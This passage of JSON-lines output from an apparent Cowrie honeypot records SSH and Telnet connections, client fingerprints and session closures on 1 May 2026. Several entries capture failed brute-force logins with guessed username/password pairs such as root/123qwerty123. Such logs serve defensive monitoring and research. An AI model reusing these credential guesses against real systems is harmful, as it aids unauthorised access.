af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:20.660251Z","src_ip":"41.86.34.139","session":"b5a1890ff199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminer","password":"123456","message":"login attempt [adminer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:21.522320Z","src_ip":"41.86.34.139","session":"b5a1890ff199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:22.735790Z","src_ip":"41.86.34.139","session":"b5a1890ff199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":35953,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e84ec5cd042","protocol":"ssh","message":"New connection: 103.86.180.10:35953 (159.203.135.109:22) [session: 8e84ec5cd042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:23.017515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:23.022513Z","src_ip":"103.86.180.10","session":"8e84ec5cd042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:23.219239Z","src_ip":"103.86.180.10","session":"8e84ec5cd042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftpuser","message":"login attempt [ftptest/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:24.035997Z","src_ip":"103.86.180.10","session":"8e84ec5cd042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:25.235102Z","src_ip":"103.86.180.10","session":"8e84ec5cd042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":35774,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df9bc73da55","protocol":"telnet","message":"New connection: 187.188.181.103:35774 (159.203.135.109:23) [session: 5df9bc73da55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:27.780783Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":48994,"dst_ip":"10.17.0.5","dst_port":22,"session":"3214d3ad648b","protocol":"ssh","message":"New connection: 203.90.110.186:48994 (10.17.0.5:22) [session: 3214d3ad648b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:28.485545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:28.489586Z","src_ip":"203.90.110.186","session":"3214d3ad648b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:28.725199Z","src_ip":"203.90.110.186","session":"3214d3ad648b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456a@","message":"login attempt [ubuntu/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:29.693310Z","src_ip":"203.90.110.186","session":"3214d3ad648b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:30.930451Z","src_ip":"203.90.110.186","session":"3214d3ad648b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40486,"dst_ip":"10.17.0.5","dst_port":23,"session":"818414765e71","protocol":"telnet","message":"New connection: 137.184.155.248:40486 (10.17.0.5:23) [session: 818414765e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:33.163359Z"}
{"eventid":"cowrie.session.closed","duration":44.65559387207031,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:35.018691Z","src_ip":"137.184.155.248","session":"39b91d736556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53538632392883,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:39.520961Z","src_ip":"148.230.134.28","session":"0947093faac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146583557128906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:40.105469Z","src_ip":"148.230.134.28","session":"d8467f35eb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.5071861743927,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:42.126590Z","src_ip":"137.184.155.248","session":"8e3212bf71f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":59936,"dst_ip":"10.17.0.5","dst_port":22,"session":"aadcac2b7541","protocol":"ssh","message":"New connection: 186.4.240.226:59936 (10.17.0.5:22) [session: aadcac2b7541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:42.274751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:42.279708Z","src_ip":"186.4.240.226","session":"aadcac2b7541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:42.433549Z","src_ip":"186.4.240.226","session":"aadcac2b7541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty123","message":"login attempt [root/123qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:42.917547Z","src_ip":"186.4.240.226","session":"aadcac2b7541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:44.022778Z","src_ip":"186.4.240.226","session":"aadcac2b7541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":34914,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf51487032cf","protocol":"telnet","message":"New connection: 148.230.134.28:34914 (159.203.135.109:23) [session: bf51487032cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:45.340572Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":36666,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee655d2de454","protocol":"telnet","message":"New connection: 148.230.134.28:36666 (159.203.135.109:23) [session: ee655d2de454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:45.852910Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":36632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b7161c0a0cf","protocol":"telnet","message":"New connection: 148.230.134.28:36632 (159.203.135.109:23) [session: 7b7161c0a0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:46.002792Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":36704,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1b57dedd73","protocol":"telnet","message":"New connection: 148.230.134.28:36704 (159.203.135.109:23) [session: ff1b57dedd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:48.379018Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":43564,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f9211e582f","protocol":"ssh","message":"New connection: 72.253.251.7:43564 (159.203.135.109:22) [session: 36f9211e582f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:48.431710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:48.435466Z","src_ip":"72.253.251.7","session":"36f9211e582f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:48.552969Z","src_ip":"72.253.251.7","session":"36f9211e582f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp123","message":"login attempt [erp/erp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:49.057039Z","src_ip":"72.253.251.7","session":"36f9211e582f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:50.177148Z","src_ip":"72.253.251.7","session":"36f9211e582f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":36732,"dst_ip":"159.203.135.109","dst_port":23,"session":"64f10a26ad7b","protocol":"telnet","message":"New connection: 148.230.134.28:36732 (159.203.135.109:23) [session: 64f10a26ad7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:50.812726Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":57224,"dst_ip":"159.203.135.109","dst_port":22,"session":"428d7221c978","protocol":"ssh","message":"New connection: 202.125.94.71:57224 (159.203.135.109:22) [session: 428d7221c978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:52.332111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:52.336091Z","src_ip":"202.125.94.71","session":"428d7221c978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:52.609293Z","src_ip":"202.125.94.71","session":"428d7221c978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@2025","message":"login attempt [lighthouse/lighthouse@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:53.698786Z","src_ip":"202.125.94.71","session":"428d7221c978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":36734,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4233f0bfd7","protocol":"telnet","message":"New connection: 148.230.134.28:36734 (159.203.135.109:23) [session: ca4233f0bfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:53.900276Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:54.967044Z","src_ip":"202.125.94.71","session":"428d7221c978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112342834473,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:56.358096Z","src_ip":"148.230.134.28","session":"50a1e14c4521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57690,"dst_ip":"159.203.135.109","dst_port":23,"session":"af5a01f55e23","protocol":"telnet","message":"New connection: 148.230.134.28:57690 (159.203.135.109:23) [session: af5a01f55e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:56.743454Z"}
{"eventid":"cowrie.session.closed","duration":49.66698145866394,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:57.555940Z","src_ip":"137.184.155.248","session":"4d4fb572dfa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98941969871521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:28:58.770077Z","src_ip":"187.188.181.103","session":"5df9bc73da55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57710,"dst_ip":"159.203.135.109","dst_port":23,"session":"b549989ec66d","protocol":"telnet","message":"New connection: 148.230.134.28:57710 (159.203.135.109:23) [session: b549989ec66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:00.811367Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57724,"dst_ip":"159.203.135.109","dst_port":23,"session":"51eb3ef285b3","protocol":"telnet","message":"New connection: 148.230.134.28:57724 (159.203.135.109:23) [session: 51eb3ef285b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:02.248771Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57722,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1f78a718d0","protocol":"telnet","message":"New connection: 148.230.134.28:57722 (159.203.135.109:23) [session: bf1f78a718d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:02.928864Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"072368ba2903","protocol":"telnet","message":"New connection: 148.230.134.28:57726 (159.203.135.109:23) [session: 072368ba2903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:04.190539Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57742,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b129497718a","protocol":"telnet","message":"New connection: 148.230.134.28:57742 (159.203.135.109:23) [session: 3b129497718a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:04.466044Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":57758,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c194f93d3d","protocol":"telnet","message":"New connection: 148.230.134.28:57758 (159.203.135.109:23) [session: 60c194f93d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:09.192633Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":50658,"dst_ip":"159.203.135.109","dst_port":23,"session":"43ea99d9f411","protocol":"telnet","message":"New connection: 148.230.134.28:50658 (159.203.135.109:23) [session: 43ea99d9f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:13.762204Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":50674,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d00279c68fc","protocol":"telnet","message":"New connection: 148.230.134.28:50674 (159.203.135.109:23) [session: 9d00279c68fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:15.768763Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":50660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7e92c67e36","protocol":"telnet","message":"New connection: 148.230.134.28:50660 (159.203.135.109:23) [session: fe7e92c67e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:15.852399Z"}
{"eventid":"cowrie.session.closed","duration":46.0051429271698,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:19.168416Z","src_ip":"137.184.155.248","session":"818414765e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":50680,"dst_ip":"159.203.135.109","dst_port":23,"session":"953892c6e064","protocol":"telnet","message":"New connection: 148.230.134.28:50680 (159.203.135.109:23) [session: 953892c6e064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:19.911896Z"}
{"eventid":"cowrie.session.closed","duration":35.44285988807678,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:20.783286Z","src_ip":"148.230.134.28","session":"bf51487032cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":54528,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6cf292de18d","protocol":"ssh","message":"New connection: 41.86.34.139:54528 (10.17.0.5:22) [session: b6cf292de18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:24.238765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:24.244538Z","src_ip":"41.86.34.139","session":"b6cf292de18d","protocol":"ssh"}
